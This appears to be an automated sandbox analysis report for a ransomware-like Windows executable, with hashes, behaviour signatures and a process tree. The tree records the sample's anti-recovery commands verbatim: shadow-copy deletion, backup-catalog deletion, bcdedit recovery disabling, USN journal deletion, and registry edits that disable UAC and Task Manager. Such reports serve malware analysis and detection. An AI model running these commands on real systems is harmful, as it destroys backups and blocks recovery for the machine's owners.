Analysis

  • max time kernel
    149s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22-10-2022 14:40

General

  • Target

    32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe

  • Size

    1.1MB

  • MD5

    674e7ee905d24a89af47b53b53ffc23c

  • SHA1

    c6b73b882aa1f4d46ec655a5591a28638700856c

  • SHA256

    32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1

  • SHA512

    6a0623742423f2137a0a9285e6a590659f8436eeb1fd7c9bcb5e16ecbffa949ae82cf59ee9a49e614345b559a581cfe23c87afce028d1927335dc4938a9b0408

  • SSDEEP

    24576:ibBzKGHF0bxTCFvXwKl/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoPGxFG4zmYw7A:wV4xTC4u4Qc6/F8bw4Nw

Score
10/10

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 7 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
    "C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:868
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:1900
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c @echo off
        2⤵
          PID:2040
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c chcp 437
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1896
          • C:\Windows\SysWOW64\chcp.com
            chcp 437
            3⤵
              PID:1948
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
            2⤵
              PID:964
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
              2⤵
                PID:1748
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} recoveryenabled No
                  3⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1500
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2008
                • C:\Windows\system32\vssadmin.exe
                  vssadmin.exe Delete Shadows /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:1556
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                2⤵
                  PID:1204
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                    3⤵
                    • Interacts with shadow copies
                    PID:924
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                  2⤵
                    PID:1968
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                      3⤵
                      • Interacts with shadow copies
                      PID:1564
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                    2⤵
                      PID:1096
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:948
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                      2⤵
                        PID:1880
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                          3⤵
                          • Interacts with shadow copies
                          PID:752
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                        2⤵
                          PID:576
                          • C:\Windows\system32\vssadmin.exe
                            vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                            3⤵
                            • Enumerates connected drives
                            • Interacts with shadow copies
                            PID:1468
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                          2⤵
                            PID:824
                            • C:\Windows\system32\wbadmin.exe
                              wbadmin.exe delete catalog -quiet
                              3⤵
                              • Deletes backup catalog
                              PID:1016
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                            2⤵
                              PID:1956
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                              2⤵
                                PID:1528
                                • C:\Windows\system32\schtasks.exe
                                  schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                  3⤵
                                    PID:820
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                  2⤵
                                    PID:1276
                                    • C:\Windows\system32\fsutil.exe
                                      fsutil.exe usn deletejournal /D C:
                                      3⤵
                                      • Deletes NTFS Change Journal
                                      PID:1004
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:1536
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      2⤵
                                        PID:1508
                                        • C:\Windows\system32\vssadmin.exe
                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                          3⤵
                                          • Interacts with shadow copies
                                          PID:2096
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:1620
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                          2⤵
                                            PID:1176
                                            • C:\Windows\system32\vssadmin.exe
                                              vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                              3⤵
                                              • Interacts with shadow copies
                                              PID:2056
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:1704
                                              • C:\Windows\system32\reg.exe
                                                reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:2080
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:560
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                                  2⤵
                                                    PID:1504
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:1064
                                                      • C:\Windows\system32\reg.exe
                                                        reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:2192
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                                        2⤵
                                                          PID:1664
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                                          2⤵
                                                            PID:1080
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:964
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                                              2⤵
                                                                PID:2144
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
                                                                2⤵
                                                                  PID:2232
                                                              • C:\Windows\system32\vssvc.exe
                                                                C:\Windows\system32\vssvc.exe
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1612

                                                              Network

                                                              MITRE ATT&CK Enterprise v6

                                                              Replay Monitor

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                                                              Downloads

                                                              • memory/868-54-0x0000000075131000-0x0000000075133000-memory.dmp

                                                                Filesize

                                                                8KB

                                                              • memory/1016-94-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

                                                                Filesize

                                                                8KB